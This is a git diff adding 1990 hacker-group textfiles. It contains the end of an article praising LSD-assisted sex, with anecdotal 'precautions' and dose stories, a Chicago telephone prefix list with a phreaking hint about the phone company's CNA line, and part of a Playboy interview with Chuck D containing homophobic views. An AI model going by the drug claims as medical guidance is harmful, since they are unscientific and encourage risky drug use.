also produces far more bad trips and frequent +aftereffects. The chemical analysis of STP indicates similarities to +mescaline and the amphetamines, but more refind analysis is needed. + + Cases brought to my attention include aftereffects such as partial +amnesia, frightening perceptual changes and recurring states of panic. One +man, for example, weeks later, felt his head alternately growing to the size +of a watermelon and shrinking to the dimensions of a pea. It is too soon to +say whether these sensations will be permanent. No one I have talked to +appears to have had sexual intercourse under STP. For those persons, at +least, the experience was much too overwhelming. Neither does it seem likely +at this point that STP will have much value for research or therapy. Pending +further information, the best advice is to leave the drug alone. + + With STP, we may be witnessing the unhappy result of too many +unscientific medical pronouncements combined with too many scare stories +about psychedelic drugs. A number of physicians have greatly exaggerated the +dangers of the old psychedelics - and even of marijuana. Now, with a drug +that seems to be much more dangerous, these 'scientists' have forged a +credibility gap that prevents many people - especially those in the +psychedelic underground - from taking their claims seriously. Warnings about +STP from physicians have been much less effective than those voiced by the +underground press. The medical profession should consider this lesson and +perhaps profit by it. More psychedelics will be created and some will almost +certainly be very dangerous. Disaster could ensue unless scientists manage +to regain the confidence in the public. + + In the case of LSD and the 'milder' psychedelics, the chances of +unfortunate results can be reduced by following a few basic precautions. +Since psychedelic experience can magnify tendendies in onself, in others and +in the surroundings, psychedelics should not be taken in an environment that +will threaten or displease. When this precaution is ignored, there can be +bad trips - whether or not intercourse is a part of the experience. + + Sexologists always urge a pleasent setting for intercourse - as well as a +partner one respects and relates to positively. This becomes even more +important when the couple has taken psychedelics. With LSD, a drab, dirty +room that might ordinarily be ignored can become a filthy, sordid pesthole, +and this perception of the room can saturate the total experience. Similarly, +sex with a person about whom one has negative feelings can become, with LSD, +an experience of extreme repulsion - with guilt, depression or anxiety as a +result. In two cases I know of, males took LSD, picked up prostitues and had +very bad trips. Both men, of course, had basically negative feeling about +prostitues and these emerged in a much heightened form during the sexual act. + + Both men were initially aroused, but soon began to feel degraded and then +powerfully repelled by the situation. One felt that the woman's body was +coated with "a dirty, poisonous substance" that rubbed off on his own body +and infected him. He managed to get her out of the room, was near panic for +a long while and, after the effects of the LSD had worn off, he went into a +depression that lasted for some days. In fact, his perception might not have +been completely imaginative, since he contracted gonorrhea as a result of +this contact. In the other case, the male found the girl becoming more and +more ugly as he looked at her. Then the room became similarly ugly. He +became nauseous, then was overwhelmed by feelings of guilt about his +'prejudice.' That man was white and Jewish and the woman Negro made the +situation especially complicated and charged with emotion. + + With LSD, some peope may besome aware of what they feel are opposite-sex +components of their personality. This they interpret as evidence that they +are homosexual. Some males with effeminate tendensies, who strongly suppress +their effeminacy, have felt they were undergoing a physical sex change. +Their bodies seemed to have female breasts and genetalia. Understandably, +this kind of experience, too, can lead to anxiety and depression. And +afterward, the person may believe that his 'true personality' was revealed. + + One should never regard drug-state as necessarily more revealing than +other types of experience. With LSD-type drugs, what might be a passing and +easily dismissed idea can become a prolonged a vivid mental event. But this +doesn't mean that it necessarily has greater validity than the passing idea +would have ordinarily. Such phenomenea are best regarded as drug-state +curiousities that will not effect the normal personality and behavior. + + When negative perceptions or emotions occur, and if they last long enough +to be distressing, it is best not to analyze them. Try to get interested in +something else. Psychedelic veterans have learned to do this. Similarly, +it's often easy to divert the partner, should his or her distress become +obvious. This might be done with an especially interesting or amusing remark +or by telling the other person how much pleasure he or she is giving. If, as +ought to be the case, the two people are lovers or good friends, then it is +likely that they will know how to help each other, should the need arise. +For this reason, too, psychedelic experience is not a desirable arena for +casual sex between two strangers. + + Spontaneous changes in visual perseption may also provide very pleasant +experiences. One man, for example, related that his girlfiend changed as he +held her in his arms, first to Helen of Troy, then to Cleopatra, then in +successive metamorphoses to yet other women, so that he quickly "made love to +all the famous beauties in history." After a while, the girl resumed he own +appearance, although her beauty was greatly heightened, and he "thought he no +less lovely than any of the others and appreciated very much her part in +providing such a great experience." + + There are a host of similar erotic phenomena that sometimes occur in the +psychedelic state. These might seem trivial and self-indulgent compared with +the transcendence of the ecstatic union, but they are intereting, +nonetheless. For many people, for instance, it is possible to 'genitalize' +almost any part of the body, by consciously transferring the response +capacity from the sexual organs to some otehr part, such as a finer. Rubbing +one's finger against a fabric can provide sensations akin to those +experienced in masturbation. A couple might even genitalize the lips and the +mouth, so taht kissing affords sensations very much like those usually +experienced in mouth-genital contacts or in sexual intercourse. + + One man, who had taken a large dose of LSD (about 500 micrograms), found +himself unable to obtain an erection, despite much assistance from his +partner. Abandoning the effort, they lay side by side. Suddenly, he became +aware of his entire body as "one great, erect penis. The World," he said, +"was my vagina and I had a sense of moving in and out of it, with intense +sexual sensations." + + A few research subjects have reported similar erotic sensations from +listening to music. One man reported "the sexualization of my entire body as +I listened to Beethoven's Pastoral Symphony. The music washed over every +inch of my body, giving sexual sensations like those of a very intense +orgasm. The plesure became so intense s to be unendurable. I had to shut +off the phonograph. I wondered at every instant if I would not have a real +ejaculation." In a subsequent LSD experience, he responded to the same +recording in the same way. No other music produced the phenomenon, and he +never learned why the Pastoral should have such an effect. With another +subject, any symphonic music produced strong sexual sensations. + + When males see vivid images or visions, they almost always include +beautiful nudes, with Balinese dancing girls and other Orientals appearing +frequently. Drug-state visions in America are shot through with this +predilection for the East - in archetectural and religious imagery as well as +in nudes. But just as women are less interested in erotic art, so do they +have less erotic imagery. + + The aftereffects of drug-state sex can be of very great value, though +often the results don't last. As an immediate aftermath of a good sexual +experience under LSD, some couples report an over-all improvement in their +relationship - and a specific improvement in their sex life. Frequently, a +portion of the drug-state perception of the womans greatly heightened beauty +carries over, so that she continues to appear more attractive. Sometimes, +with psychedelics, inhabitions fall away, allowing people to engage in sexual +practices that are normal and that had been desired, but which inhabition +prevented. Extensive caressing of the genitals and mouth-genital stimulation +are frequent examples. Breaking through such blocks can be permanent. +Especially amoung married couples, who had largely ceased to attract each +other sexually, there can be a reactivation of old desires and emotions. +Most of these beneficial aftereffects are lost in days, weeks or months, but +they can be retained - or possibly reactivated by another LSD session - if +they are regarded as important enough to be worth preserving. + + Because ecstatic union is so rich an experience and may have very +positive effects on a relationship, it is obviously desirable that it occur +and be repeated. This is possible without psychedelics, but the necessary +changes in consciousness occur more readily when they have first been +experienced in LSD-type states. After LSD, memories and pathways in the +nervous system have been strongly established and can be explored again more +easily. + + To take some terminology from the theologians, we have been busy for a +long while 'demythologizing' sexual intercourse - divesting it of a sense of +sin and a necessary connection with procreation. But a totally +demythologized sex can be mechanical, vapid and banal if it remains without +larger significance. Ecstatic sexual experience may be the new and valuable +'remythologizing' agent. With and without psychedelic drugs, we may be able +to invest the sexual union with new beauty and meaning. + + + *=-- --=* + { -=*/> Buzzz Bros. <\*=- } + { MCMXC } + *=-- --=* + + You have the right to free speech - + As long as you're not dumb enough to actually try it. + + +__________________ + +Special Thanks to: +__________________ + +The old man at Maxwell St. that sold me the magazine for $1 +93.1 FM WXRT (Chicago) +The return of RIPCO (312) 528-5020 - after the Operation SunDevil bust +Anyone who actually took the time to read the whole file +3rd BASS +The Hyatt Regency Chicago + +(c) MCMXC -=*/> Buzzz Bros. <\*=- + + + \ No newline at end of file diff --git a/textfiles.com/groups/BUZZ/bbros-03.txt b/textfiles.com/groups/BUZZ/bbros-03.txt new file mode 100644 index 00000000..73d38c04 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-03.txt @@ -0,0 +1,439 @@ + + + the + + -=*/> Buzzz Bros. <\*=- + + present + + a-generally-useless-but-here-it-is-anyway-file: + + *=-- --=* + { The 312 and 708 Prefix Directory } + + Text Entry By + { Major Havoc } + *=-- --=* + + -=*/> 312 <\*=- + + 202 Kildare 204 Superior + 207 Canal West 214 Kranklin + 221 South Chicago 222 Illinois - Dearborn + 224 Stewart 225 Calumet + 226 Monroe 227 Humbolt + 229 Summit 230 Franklin + 237 Merrimac 238 Beverly + 239 Beverly 241 Dorchester + 242 Austin (Cicero) 243 Monroe + 245 Illinois - Dearborn 247 Lafayette + 248 Lakeview 252 Humboldt + 254 Lafayette 261 Austin + 262 Rogers Park 263 Franklin + 264 Pullman 265 Kedzie + 266 Superior 267 Irving + 267 Oakland 269 Franklin + 271 Edgewater 273 Rogers Park (Evanston) + 274 Rogers Park 275 Edgewater + 276 Humboldt 277 Lawndale + 278 Humboldt 280 Superior + 281 Lakeview 282 Kildare + 283 Kildare 284 Portsmouth + 285 Oakland 286 Kildare + 287 Austin 288 Dorchester + 292 Humboldt 294 Wabash + + + 302 Superior 306 Superior + 308 Canal East 321 Illinois - Dearborn + 322 Wabash 324 Dorchester + 326 Calumet 327 Lakeview + 329 Illinois - Dearborn 332 Franklin + 334 Edgewater 337 Superior + 338 Rogers Park 341 Wabash + 342 Humboldt 346 Franklin + 347 Wabash 348 Lakeview + 353 Wabash 363 Dorchester + 368 Franklin 372 Franklin + 373 Oakland 374 South Chicago + 375 South Chicago 376 Lafayette + 378 Austin 379 Austin + 380 Park Ridge 384 Humboldt + 399 Park Ridge + + + 404 Lakeview 407 Franklin + 408 Wabash 410 Illinois - Dearborn + 413 Monroe 417 Superior + 419 Franklin 421 Monroe + 427 Wabash 431 Wabash + 434 Prospect 435 Wabash + 436 Prospect 440 Superior + 443 Franklin 444 Franklin + 445 Beverly 454 Canal West + 461 Wabash 463 Wabash + 465 Rogers Park 467 Illinois - Dearborn + 468 Pullman 471 Prospect + 472 Lakeview 476 Prospect + 477 Lakeview 478 Irving + 483 Stewart 486 Humboldt + 487 Stewart 488 Stewart + 489 Humboldt 493 Dorchester + + + 507 Franklin 508 Rogers Park + 509 Irving 521 Lawndale + 522 Lawndale 523 Lafayette + 525 Lakeview 527 Illinois - Dearborn + 528 Lakeview 533 Kedzie + 536 Oakland 538 Oakland + 539 Irving 542 lawndale + 545 Kildare 548 Oakland + 549 Lakeview 555 Directory Assistance + 558 Franklin 559 Canal West + 561 Edgewater 565 Lake Shore + 567 Calumet 568 Pullman + 569 Newcastle (Elk Grove) 580 Franklin + 581 Portsmouth 582 Portsmouth + 583 Irving 585 Portsmouth + 586 Summit 588 Irving + 589 River Grove 591 Mass Calling + 592 Franklin + + + 601 O'Hare 602 Stewart + 604 Irving 606 Franklin + 609 Franklin 616 Lake Shore + 621 Franklin 622 Merrimac + 624 Oakland 625 River Grove + 626 Austin 630 Franklin + 631 Newcastle 633 Monroe + 637 Merrimac 638 Kedzie + 641 Franklin 642 Superior + 643 Dorchester 644 Illinois - Dearborn + 645 Illinois - Dearborn 646 Mitchell + 648 Canal West 649 Superior + 650 Lafayette 651 Stewart + 660 Pullman 661 Illinois - Dearborn + 663 Wabash 664 Superior + 666 Monroe 667 Dorchester + 670 Illinois - Dearborn 684 Dorchester + 685 Kildare 686 O' Hare + 693 Park Ridge 694 Des Plaines + + + 701 Franklin 702 Dorchester + 703 Superior 704 Franklin + 707 Canal West 712 Superior + 714 Park Ridge 715 Canal East + 716 Canal West 721 South Chicago + 722 Kedzie 723 Stewart + 725 Kildare 726 Franklin + 727 Franklin 728 Edgewater + 731 South Chicago 732 Franklin + 733 Monroe 734 South Chicago + 735 Portsmouth 736 Kildare + 737 Prospect 738 Monroe + 743 Rogers Park 744 Illinois - Dearborn + 745 Merrimac 750 Franklin + 751 Superior 752 Dorchester + 753 Dorchester 761 Rogers Park + 762 Lawndale 763 Newcastle + 764 Rogers Park 765 Wabash + 767 Portsmouth 768 South Chicago + 769 Edgewater 770 Monroe + 772 Humboldt 774 Newcastle + 775 Newcastle 776 Prospect + 777 Kildare 778 Prospect + 779 Beverly 781 Franklin + 782 Franklin 783 Stewart + 784 Edgewater 785 Pullman + 786 Wabash 787 Superior + 791 Calumet 792 Newcastle + 793 Wabash 794 Kildare + * 796 Customer Name and Address 797 Franklin + + + 804 Merrimac 807 Franklin + 808 Calumet 812 Franklin + 814 Franklin 819 Lake Shore + 821 Pullman 822 Illinois - Dearborn + 826 Kedzie 828 Illinois - Dearborn + 829 Monroe 836 Illinois - Dearborn + 838 Portsmouth 842 Calumet + 845 Franklin 847 Stewart + 847 Lafayette 853 Fanklin + 854 Austin 855 Franklin + 856 Lake Shore 861 Lake Shore + 871 Lakeview 873 Stewart + 874 Stewart 875 Canal East + 876 Canal East 878 Edgewater + 880 Lakeview 881 Beverly + 883 Lakeview 886 Wabash + 889 Merrimac 890 Lafayette + 899 Franklin + + + 901 Franklin 902 Canal West + 906 Canal East 907 Edgewater + 908 Superior 915 Superior + 917 Franklin 918 Prospect + 921 Austin 922 Wabash + 923 Illinois - Dearborn 924 Oakland + 925 Prospect 927 Lafayette + 928 Pullman 929 Lakeview + 930 Canal West 933 South Chicago + 935 Lakeview 936 Franklin + 938 Lake Shore 939 Wabash + 942 Monroe 943 Superior + 944 Superior 947 Dorchester + 951 Superior 955 Dorchester + 962 Stewart 973 Rogers Park + 975 Lakeview 976 Public Announcement Service + 977 Franklin 978 South Chicago + 984 Franklin 987 Wabash + 988 Superior 989 Edgewater + 992 Schiller Park 993 Canal East + 994 Stewart 995 Pullman + 996 Monroe 997 Monroe + + * Note: I found it rather 'odd' that they listed CNA as taking the entire 796 + prefix, so I did some playing around. Try calling any other number + rather than 796-9600 (which is actually CNA). Pretty wierd, 'eh. + + -=*/> 708 <\*=- + + 210 Riverdale 205 Northbrook + 206 Homewood 208 Geneva + 209 Oak Park 210 Harvey + 213 Bartlett 215 Wheeling + 216 Bellwood 218 Oak Brook + 223 Grayslake 228 Elk Grove + 231 West Chicago 232 Geneva + 234 Lake Forest 240 Schaumburg + 244 Waukegan 246 La Grange + 249 Waukegan 250 Bensenville + 251 Wilmette 253 Arlington Heights + 255 Arlington Heights 256 Wilmette + 257 Lemont 258 Peotone + 260 Wheaton 270 Round Lake + 272 Northbrook 279 Elmhurst + 289 Bartlett 290 Elk Grove + 291 Northbrook 293 West Chicago + 295 Lake Forest 296 Des Plaines + 297 Des Plaines 298 Des Plaines + 299 Des Plaines + + + 301 Orland Park 303 Willowcrest + 304 Barrington 305 Naperville + 307 Roselle 310 Willowcrest + 314 Roselle 317 Deerfield + 318 Park Ridge 323 Hinsdale + 325 Hinsdale 328 Evanston + 330 Schaumburg 331 Harvey + 333 Harvey 335 Homewood + 336 Waukegan 339 Harvey + 343 Bellwood 344 Bellwood + 345 Bellwood 349 Orland Park + 350 Bensenville 351 Roselle + 352 La Grange 354 La Grange + 355 Naperville 356 Lake Villa + 357 Naperville 358 Palatine + 359 Palatine 360 Waukegan + 361 Palos Park 362 Libertyville + 364 Elk Grove 365 Elburn + 366 Oak Park 367 Libertyville + 369 Naperville 371 Blue Island + 377 Geneva 381 Barrington + 382 Barrington 383 Oak Park + 385 Blue Island 386 Oak Park + 387 La Grange 388 Blue Island + 389 Blue Island 390 Des Plaines + 391 Des Plaines 392 Arlington Heights + 393 Warrenville 394 Arlington Heights + 395 Antioch 396 Blue Island + 397 Willowcrest 398 Arlington Heights + + + 402 Northbrook 403 Orland Park + 405 Deerfield 406 Geneva + 409 Hillside 412 Bellwood + 416 Naperville 418 Calumet City + 420 Naperviller 422 Oak Lawn + 423 Oak Lawn 424 Oak Lawn + 425 Oak Lawn 426 Dundee + 428 Dundee 429 Tinley Park + 430 Hickory Hills 432 Highland Park + 433 Highland Park 437 Elk Grove + 438 Lake Zurich 439 Elk Grove + 441 Winnetka 442 Cicero + 448 Palos Park 449 Hillside + 450 Bellwood 451 River Grove + 452 River Grove 453 River Grove + 455 River Grove 456 River Grove + 457 Newcastle 458 Summit + 459 Wheeling 460 Orland Park + 462 Wheaton 464 Plato Center + 466 Sugar Grove 469 Glen Ellyn + 470 Morton Grove 473 North Chicago + 474 Calumet City 475 Evanston + 479 Mokena 480 Northbrook + 481 Park Forest 482 La Grange + 484 Cicero 485 La Grange + 490 Willowcrest 491 Evanston + 492 Evanston 495 Lombard + 496 Summit 497 Fox Lake + 498 Northbrook 499 Oak Lawn + + + 501 Winnetka 503 Park Forest + 505 Naperville NE 506 Arlington Heights + 510 Wheaton 512 Downers Grove + 513 Geneva 515 Downers Grove + 516 Cary 517 Schaumburg + 518 Park Ridge 519 Willowcrest + 520 Wheeling 524 Oak Park + 526 Wauconda 529 Roselle + 530 Elmhurst 531 Bellwood + 532 Tinley Park 534 Governors Park + 535 Tinley Park 537 Wheeling + 540 Lake Zurich 541 Wheeling + 543 Lombard 544 Bellwood + 546 Round Lake 547 Bellwood + 551 Dundee 552 Plano + 553 Yorkville 554 Oswego + 555 Directory Assistance 556 Big Rock + 557 Kaneville 560 Tinley Park + 562 Hillside 563 Summit + 564 Northbrook 566 Libertyville + 570 Evanston 571 Oakbrook + 572 Oak Brook 573 Oak Brook + 574 Oak Brook 575 Oak Brook + 576 Schaumburg North 577 Arlington Heights + 578 North Chicago 579 La Grange + 584 Geneva 587 Fox Lake + 590 Arlington Heights 591 Mass Calling + 593 Elk Grove 594 Summit + 595 Bensenville 596 Harvey + 597 Blue Island 598 Hickory Hills + 599 Hickory Hills + + + 603 Roselle 605 Schaumburg + 612 Roselle 614 Tinley Park + 615 Lake Forest 617 Elmhurst + 619 Schaumburg 620 Lombard + 623 Waukegan 627 Lombard + 628 Lombard 629 Lombard + 632 Arlington Heights 634 Wheeling + 635 Des Plaines 636 Oak Lawn + 639 Cray 640 Elk Grove + 647 New Castle 652 Cicero + 653 Wheaton 654 Hinsdale + 655 Hinsdale 656 Cicero + 657 Glenview 658 Algonquin + 662 Waukegan 665 Wheaton + 668 Wheaton 669 Huntley + 671 Schiller Park 672 Crete + 673 Skokie 674 Skokie + 675 Skokie 676 Skokie + 677 Skokie 678 Schiller Park + 679 Skokie 680 Libertyville + 681 Bellwood 682 Wheaton + 683 Hampshire 687 Tinley Park + 688 North Chicago 689 North Chicago + 690 Wheaton 691 Lombard + 692 Park Ridge 695 Elgin + 696 Park Ridge 697 Elgin + 698 Park Ridge 699 Des Plaines + + + 705 Palatine 706 Schaumburg + 709 Chicago Heights 713 Naperville NE + 717 Naperville 719 Downers Grove + 720 Frankfort 724 Glenview + 729 Glenview 730 Calumet City + 739 Lemont 740 Round Lake + 741 Elgin 742 Elgin + 746 Zion 747 Park Forest + 748 Park Forest 749 Cicero + 754 Chicago Heights 755 Chicago Heights + 756 Chicago Heights 757 Ford Heights + 758 Ford Heights 759 Bolingbrook + 766 Bensenville 771 Oak Park + 773 Bensenville 780 Cicero + 788 Cicero 789 Hinsdale + 790 Glen Ellyn 795 Cicero + 796 Customer Name and Address 798 Homewood + 799 Homewood + + + 801 Aurora Main 803 Des Plaines + 806 Elk Grove 810 Downers Grove + 816 Libertyville 818 Arlington Heights + 820 Aurora East 823 Park Ridge + 824 Des Plaines 825 Park Ridge + 827 Des Plaines 830 Bartlett + 831 Deerfield 832 Elmhurst + 833 Elmhurst 834 Elmhurst + 835 Winnetka 837 Bartlett + 839 Summit 840 Geneva + 841 Riverdale 843 Willowcrest + 844 Aurora Main 848 Oak Park + 849 Riverdale 850 Hinsdale + 851 Aurora East 852 Downers Grove + 857 Oak Lawn 858 Glen Ellyn + 859 Aurora Main 860 Bensenville + 862 Calumet City 863 Cicero + 864 Evanston 865 Bellwood + 866 Evanston 867 Newcastle + 868 Calumet City 869 Evanston + 870 Arlington Heights 872 Zion + 877 Harvey 879 Geneva + 882 WIllowcrest 884 Willowcrest + 885 Willowcrest 887 Hinsdale + 888 Elgin 891 Calumet City + 892 Aurora Main 893 Roselle + 894 Roselle 895 Calumet City + 896 Aurora Main 897 Aurora Main + 898 Aurora East + + + 904 Plainfield 905 Roselle + 910 Lemont North 913 Wheeling + 916 Lombard 920 Hinsdale + 926 Highland Park 931 Elgin + 932 Lombard 934 Palatine + 937 North Chicago 940 Deerfield + 941 Elmhurst 945 Deerfield + 946 Beecher 948 Deerfield + 949 Libertyville 952 Elk Grove + 953 Lombard 954 Oak Brook + 956 Elk Grove 957 Homewood + 960 Downers Grove 961 Naperville + 963 Downers Grove 964 Downers Grove + 965 Morton Grove 966 Morton Grove + 967 Morton Grove 968 Downers Grove + 969 Downers Grove 971 Downers Grove + 974 Hickory Hills 976 Public Announcement Service + 979 Naperville NE 980 Roselle + 981 Elk Grove 982 Skokie + 983 Naperville 985 Lemont North + 986 Hindale 990 Oak Brook + 991 Palatine 998 Glenview + + Although this directory comes from the 1990 Yellow Pages, I tend to doubt +the accuracy of the locations - or rather the names of the locations. This is +because they list my prefix, and the others near me, as 'Portsmouth'. But +never in my life have I heard of this before. + + + -=*/> Buzzz Bros. <\*=- + + "Um lampin, Um lampin, Um cole cole lampin!" +_________________________________ + +(c) MCMXC -=*/> Buzzz Bros. <\*=- +_________________________________ + diff --git a/textfiles.com/groups/BUZZ/bbros-04.txt b/textfiles.com/groups/BUZZ/bbros-04.txt new file mode 100644 index 00000000..1d798838 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-04.txt @@ -0,0 +1,386 @@ + + + the + -=*/> Buzzz Bros. <\*=- + present + + *=-- --=* + { 20 Questions for Chuck D } + + Public Enemy's No. 1 + Raps about race, groupies + and why he doesn't sing + { his daughter to sleep } + *=-- --=* + + *=-- --=* + { A Playboy interview conducted by Bill Wyman } + { Originally appearing in Playboy, November 1990 } + *=-- --=* + + Text Entry By + Major Havoc + + + + From it's inception, rap was one of the most potent musical forms of the +Eighties. At its slightest, it was filled with sexual braggadocio, and almost +obsessive self-absorption: The subject of most rap music was, in fact, rap +music. But groups such as Grandmaster Flash and the furious Five, who recorded +"The Message," and Kurtis Blow, who hit the charts with "The Breaks," +demonstrated that rappers could be articulate and stridently political. + + Public Enemy's leader is the stentorian Chuck D, whose deep-voiced +preaching is pitted against the chirpy tenor of his clownish co-rapper, Flavor +Flav. The group enjoys muddy politics: To a core philosophy of black +self-help, the band adds various strains of black radicalism, most pungent +amoung them an admixture of uncritical Farrakhanism. Yet Public Enemy has +achieved massive, cross-racial success, selling millions of records and filling +arenas across the country. The band's third album, "Fear of a Black Planet," +is, in addition to rap, riveting rock music. Chuck D was born Carlton +Ridenhour 30 years ago. Bill Wyman spoke with him at Public Enemy headquarters +on Long Island and at the offices of Def Jam Records in Manhattan. "The +shouted slogans and ragged beats are for the stage and the studio," reports +Wyman. "In person, Chuck is personable and quiet, with, as he puts it, 'a face +to fit in.' It turns out that the fiery radical would rather talk about his +family and his business than about politics: He and his partner and producer, +Hank Shocklee, employ nearly 30 people; he's proud of the fact that they +practice what they preach." + + + -=*/> Question # 1. <\*=- + +PLAYBOY: Rap music can be jarring and harsh, almost antimusic. What sort + of music was around the house when you were growing up? + +CHUCK D: My mother and father were record collectors. My pops was into + jazz; to this day, I don't have a sharp liking for it, though I + guess it's in me. My moms played all the soul. She'd play Al + Green over and over and over - the same record, over and over + again - and then Stevie Wonder over and over, and then Aretha, + Aretha, Aretha. + + -=*/> Question # 2. <\*=- + +PLAYBOY: What was your road to rap? + +CHUCK D: I would go to clubs and check out the rappers, but it got to the + point where they were using too much echo chamber and the words + were muffled. I wanted to hear straight-out rhymes. I thought + I could do a better job. And one day, I did. + + -=*/> Question # 3. <\*=- + +PLAYBOY: Your observations are of an artistic nature and they're being taken + very seriously. Do you consider yourself a black leader now? + +CHUCK D: I'm a switchboard and a dispatcher of information. But I want to + be in a a position to encourage black people to be leaders, and + when you set some sort of exaple, you have to take on some of the + responsibilty. There are about 30 people in our structure, and + there's never going to be a situation where me and Hank are walking + around like Donald Trump. Being a black leader is not just saying, + "Well, I'm Nelson Mandela." A black leader takes care of his kids, + endorses some sort of family structure and keeps his family + together. I think my father is a black leader. + + Not many black males are men. We have boys who are sixty years + old. What makes a man is accepting responsibilities and having a + low tolerance for oppresing forces. + + -=*/> Question # 4. <\*=- + +PLAYBOY: What's the difference between Michael Jackson and Michael Jordan? + +CHUCK D: Michael Jordan's face isn't shifting. Michael Jackson you feel + sorry for. Michael Jordan you don't feel sorry for, because he is + doing exactly what he wants to do on his own terms. People are + crossing over to -him-. Michael Jackson feels that he'll get more + acceptance if he changes his face so it looks nicer to white + people. He failed to understand that people liked him as he was, + and motherfuckers don't like to see him with a lack of respect for + what God gave him. Back in the early Eighties, Michael Jackson + could have really changed the way white people looked at black + people. It's not what's outside you. It's what's inside you. The + music comes from within. + + -=*/> Question # 5. <\*=- + +PLAYBOY: What did Carlton Ridenhour do before he became Chuck D? + +CHUCK D: I was a messenger for a black company, delivering Government + photos. The people who owned the place gave me a lot of + inspiration, because it was netirely a black-owned operation, with + a lot of white people working for it. I just loved working there. + I wrote Yo! Bum Rush the Show [Public Enemy's first album] while I + was there. Also, me and Flavor used to drive these U-Hauls for my + father's business, and that was some trick. People in New York + would crowd the street. But they wouldn't crowd the street when + Flavor was driving. + + -=*/> Question # 6. <\*=- + +PLAYBOY: Can you explain Flavor's clock? + +CHUCK D: Back in '87, people were wearing those stop watches, and one day, + one of the boys brought up this clock. I thought it was hype, and + I started wearing a bigger clock. He just kept getting bigger and + bigger clocks. I took my clocks off. + + -=*/> Question # 7. <\*=- + +PLAYBOY: You make some of the hardest rock records ever made - they're + dissonant, loud and challenging. Does this approach make it + difficult to get your message across? + +CHUCK D: One of our objectives is to uplift our race and rebuild the black + structure, rebuild the black man and woman. A lot of us are + hardheaded about it. But if I smack you on the head with this + newspaper, you'll definately listen up. Bang! "Yeah! What's Up?" + Rather than just me saying, "Yo, check this out." + + Originally, we wanted to make a record that would stand out + from all the others sonically. We made our first single, Public + Enemy No. 1, in December 1984. I liked that particular sample, but + there was another consideration: We could monitor who was + listening. My parents lived on the corner, and I could listen to + what the cars were playing on their systems as they drove by. If + you just heard a beat, it could be any record. But if it had the + noise on it, then I knew they were playing the jam. + + -=*/> Question # 8. <\*=- + +PLAYBOY: In May 1989, your former band member Professor Griff announced that + "Jews are responsible for the majority of wickedness that goes on + across the globe." The predictable brouhaha ensued, you apologized + and Griff ultimately left the group. Around that time, you played +*(see note) a concert in Chicago, and you sought the advice of Louis Farrakhan. + What did he say to you? + +CHUCK D: He said, Chuck, what you got to do is, you got to lead. And if it + doesn't go your way, you've got to put your foot down. For the + sake of being right against what's wrong. The Spike Lee movie + [Do the Right Thing] came out, and the media were at the starting + gate. I was trying to handle the internal situation [with + Professor Griff], but if I had the chance to do it all over again, + I would have told -him- to handle it, or else. + + -=*/> Question # 9. <\*=- + +PLAYBOY: Do you rap your daughter to sleep at night? + +CHUCK D: No, my daughter sings to me. Shit, I can't sing a lick. When I + off stage, I can't rap, and I can't remember lyrics too well. I + try to sing a little reggae to her. But he's singing off the + radio already. She's into some other shit. + + -=*/> Question # 10. <\*=- + +PLAYBOY: How did you acquire your penchant for sloganeering? + +CHUCK D: It's our background in the black community. We always saw that + black people bought shit that was not marketed to them. + Corporate America does not understand this. If you want to sell + to black America, all you got to do is sell to the whites. Black + people don't seperate things into black and white; everything in + the country is white. If we just said, We're only going to buy + shit thats marketed to black people, we wouldn't have a fucking + thing. [Holds coffee cup up] What, a mug for blacks? [Mocking] + "I'm not going to buy Cheerios until I see a black logo on it." + That's the background me and Hank had. We weren't selling + Cheerios. + + -=*/> Question # 11. <\*=- + +PLAYBOY: What hero broke your heart? + +CHUCK D: Ralph Abernathy went out like a cold-ass wig. [Abernathy's book, + And the Walls Came Tumbling Down, contained a brief reference to + Dr. Martin Luther King, Jr.'s, last night, supposedly shared with + at least two women, which provoked furor amoung black leaders. + Abernathy died of a heart attack a few months later.] And it's sad + to see people of that stature disappear with no tears. The things + that happened on the inside should have stayed on the inside. It + shouldn't have become public discussion, because it clouded + Abernathy's objectives, and people wanted to dwell on those + negative points. It's like with us: Public Enemy can talk about + eighty positive things, but people will always dwell on the + anti-semitism or racism from 1989. + + -=*/> Question # 12. <\*=- + +PLAYBOY: Public Enemy belittles gays in its lyrics. Isn't that a form of + prejudice? + +CHUCK D: Not really. Like I sing in my song: "Man to man / I don't know if + they can / From what I know / The parts don't fit." Love between + two men shouldn't involve sex. People don't know what true love is + - even a man and a woman shouldn't just say, I'm going to sex you + out and that's going to be love. There are gays in the black + community because black women are not being loved from the heart, + and black men are feeling alienated. This causes people to + withdraw from the normal man - woman relationships. + + -=*/> Question # 13. <\*=- + +PLAYBOY: What are Public Enemy groupies like compared with, say, Motley Crue + groupies? + +CHUCK D: [Laughs] They're a lot neater. They're more correct, they got + their heads together, they want to learn more. They're just + happy that we're some brothers taking a stand. When we first came + out, our whole thing was not to appeal to women. Every time a rap + group would come along, they'd turn into sex symbols. I said that + when I started Public Enemy, it was going to be the best group in + the world, and I'd look out for the brothers first. Our program + is to -rebuild- the black man so he's got respect for himself, and + for the black woman too. You're not going to see us singing songs + like [falsetto] "I love you baby, and let me get you in the back + and sex you in the corner." Our song Revolutionary Generation is + about true love for our sisters. If you have children, take care + them. Help your sister out, help your community out by being a man + leading that community. 'Cause our sisters have been holding the + weight of the community for so long. + + -=*/> Question # 14. <\*=- + +PLAYBOY: The Professor Griff controversy sidelined Public Enemy for months. + During the hullabaloo, you made the almost plaintative remark, "I + was looking forward to spending a summer talking about Elvis + Presley and John Wayne." You were referring to the calculated + insults from Fight the Power: "Elvis is a hero to most / But he + never meant shit to me, you see / Straight out racist that sucker + was simple and plain / Motherfuck him and John Wayne." We'd like + to give you the opportunity now to tell us what you have against + Elvis. + +CHUCK D: Elvis' attitude toward blacks was that of people in the South at + that particular time. The point of the song is not about Elvis so + much, and it's not about people that idolize that motherfucker, + like he made no errors and was never wrong. Elvis doesn't mean + shit. White America's heros are different from black America's + heros. John Wayne could go around in these movies and kill + Indians and he was all right. But a black man like Louis + Farrakhan comes out for the uplifting of black people wand whites + pick at things and throw shit at him. The people I look up to are + [Illinois Representative] Gus Savage, Farrakhan, Angela Davis, and + even Jesse Jackson. Nat Turner - who went into Virginia and + wreaked havoc on its oppressors - was righteous. You know who + meant shit to me? Marcus Garvey. Marcus Garvery is -not- an + American Icon. He was dogged by the American Government. You + know what I'm saying? Not John Wayne. Not Elvis Presley. Not + Marilyn Monroe. I give less than a -fuck- about those + motherfuckers. + + -=*/> Question # 15. <\*=- + +PLAYBOY: One of the things Public 